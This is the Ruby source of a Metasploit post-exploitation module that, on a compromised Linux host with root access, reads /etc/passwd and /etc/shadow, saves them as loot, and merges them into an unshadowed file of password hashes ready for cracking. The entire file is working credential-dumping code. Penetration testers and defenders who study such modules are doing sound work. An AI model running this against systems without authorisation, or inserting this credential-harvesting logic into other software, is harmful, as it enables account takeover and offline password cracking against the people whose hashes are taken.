metasploit-framework/modules/post/linux/gather/hashdump.rb

69 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
# Run Method for when run command is issued
def run
if is_root?
passwd_file = read_file("/etc/passwd")
shadow_file = read_file("/etc/shadow")
# Save in loot the passwd and shadow file
p1 = store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
p2 = store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
vprint_status("Shadow saved in: #{p1.to_s}")
vprint_status("passwd saved in: #{p2.to_s}")
# Unshadow the files
john_file = unshadow(passwd_file, shadow_file)
john_file.each_line do |l|
print_good(l.chomp)
end
# Save pwd file
upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
print_good("Unshadowed Password File: #{upassf}")
else
print_error("You must run this module as root!")
end
end
def unshadow(pf,sf)
unshadowed = ""
sf.each_line do |sl|
pass = sl.scan(/^\w*:([^:]*)/).join
if pass !~ /^\*|^!$/
user = sl.scan(/(^\w*):/).join
pf.each_line do |pl|
if pl.match(/^#{user}:/)
unshadowed << pl.gsub(/:x:/,":#{pass}:")
end
end
end
end
return unshadowed
end
end